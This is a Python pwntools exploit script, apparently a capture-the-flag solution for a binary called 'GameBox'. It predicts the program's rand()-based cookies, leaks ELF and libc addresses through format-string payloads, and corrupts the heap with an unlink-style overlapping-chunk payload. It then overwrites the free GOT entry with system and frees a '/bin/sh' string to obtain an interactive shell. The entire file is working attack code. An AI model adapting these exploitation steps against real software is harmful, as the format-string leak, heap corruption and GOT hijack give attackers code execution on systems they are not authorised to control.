from pwn import *
from ctypes import *

context.log_level = 'debug'

p = process('./GameBox')
e = ELF('./GameBox')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcdll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

free_got = e.got['free']
name_bss = 0x203100
libc_start_main_symbols = libc.symbols['__libc_start_main']
system_symbols = libc.symbols['system']

index = 0
cookie = []

def initCookie():
    for j in range(50):
        randNum = ''
        for i in range(24):
            randNum += chr(libcdll.rand() % 26 + 65)
        cookie.append(randNum)

def play(cookieIndex,nameLen,name):
    p.sendlineafter('(E)xit','P')
    p.sendlineafter('Come on boy!Guess what I write:',cookie[cookieIndex])
    p.sendlineafter('Input your name length:',str(nameLen))
    p.sendafter('Input your name:',name)

def show():
    p.sendlineafter('(E)xit','S')

def change(index,cookieIndex,name):
    p.sendlineafter('(E)xit','C')
    p.sendlineafter('Input index:',str(index))
    p.sendlineafter('Input Cookie:',cookie[cookieIndex])
    p.sendafter('input your new name(no longer than old!):',name)

def delete(index,cookieIndex):
    p.sendlineafter('(E)xit','D')
    p.sendlineafter('Input index:',str(index))
    p.sendlineafter('Input Cookie:',cookie[cookieIndex])

initCookie()
#gdb.attach(p)#1033
#pause()

play(0,20,"%9$p")#elf
play(1,20,"%13$p")#libc
show()

p.recvuntil('0:')
elf_main_addr = int(p.recvn(14),16) - 0x61
p.recvuntil('1:')
libc_start_main_addr = int(p.recvn(14),16)-240

elf_offset = elf_main_addr - 0x1874
free_got = elf_offset + free_got
name_bss = elf_offset + name_bss
libc_offset = libc_start_main_addr - libc_start_main_symbols
system_addr = libc_offset + system_symbols

print(hex(libc_start_main_addr))
print(hex(elf_offset + 0x18a7))
print(hex(name_bss))

#gdb.attach(p)
#pause()

#play(2,0x88,'a')
#play(3,0x80,'b')

#target = name_bss + 0x60
#change(2,2,(p64(0)+p64(0x81)+p64(target-0x18)+p64(target-0x10)).ljust(0x80,b'\x00')+p64(0x80))
#delete(3,3)

target = name_bss + 0xf0

play(2,0x18,'a')
play(3,0x210,b'b'*0x1f0+p64(0x200))
play(4,0x80,'c'*0x80)

delete(3,3)
change(2,2,'a'*0x18)
play(5,0x80,'d'*0x80)#3
play(6,0x80,'e'*0x80)#5
play(7,0x80,'f'*0x80)#6

delete(3,5)
delete(4,4)

payload = b'a'*0x90 + p64(0) + p64(0x81) + p64(target-0x18) + p64(target-0x10) + b'a'*0x60 + p64(0x80) + p64(0x90) + b'a'*0x88 + p64(0x21)
play(8,0x1c0,payload)
delete(6,7)

change(5,6,b'CNUVQHFFBSAQXWPQ'+b'\x00'*8+p64(free_got)+p64(0x08))

change(5,6,p64(system_addr))

change(0,0,"/bin/sh\x00")
delete(0,0)
p.interactive()


#play(2, 0x108, "a" * 0x108)#2
#payload = b"b"*(0x200 - 0x10) + p64(0x200) + p64(0) + p64(0)
#play(3, 0x248, payload)#3
#play(4, 0x100, "c"*0x100)#4
#delete(3,3)
#change(2,2,"d" * 0x108)
#play(5,0x100,'e'*0x100)#3
#play(6,0x40,'f'*0x40)#5
#play(7,0x50,'g'*0x50)#6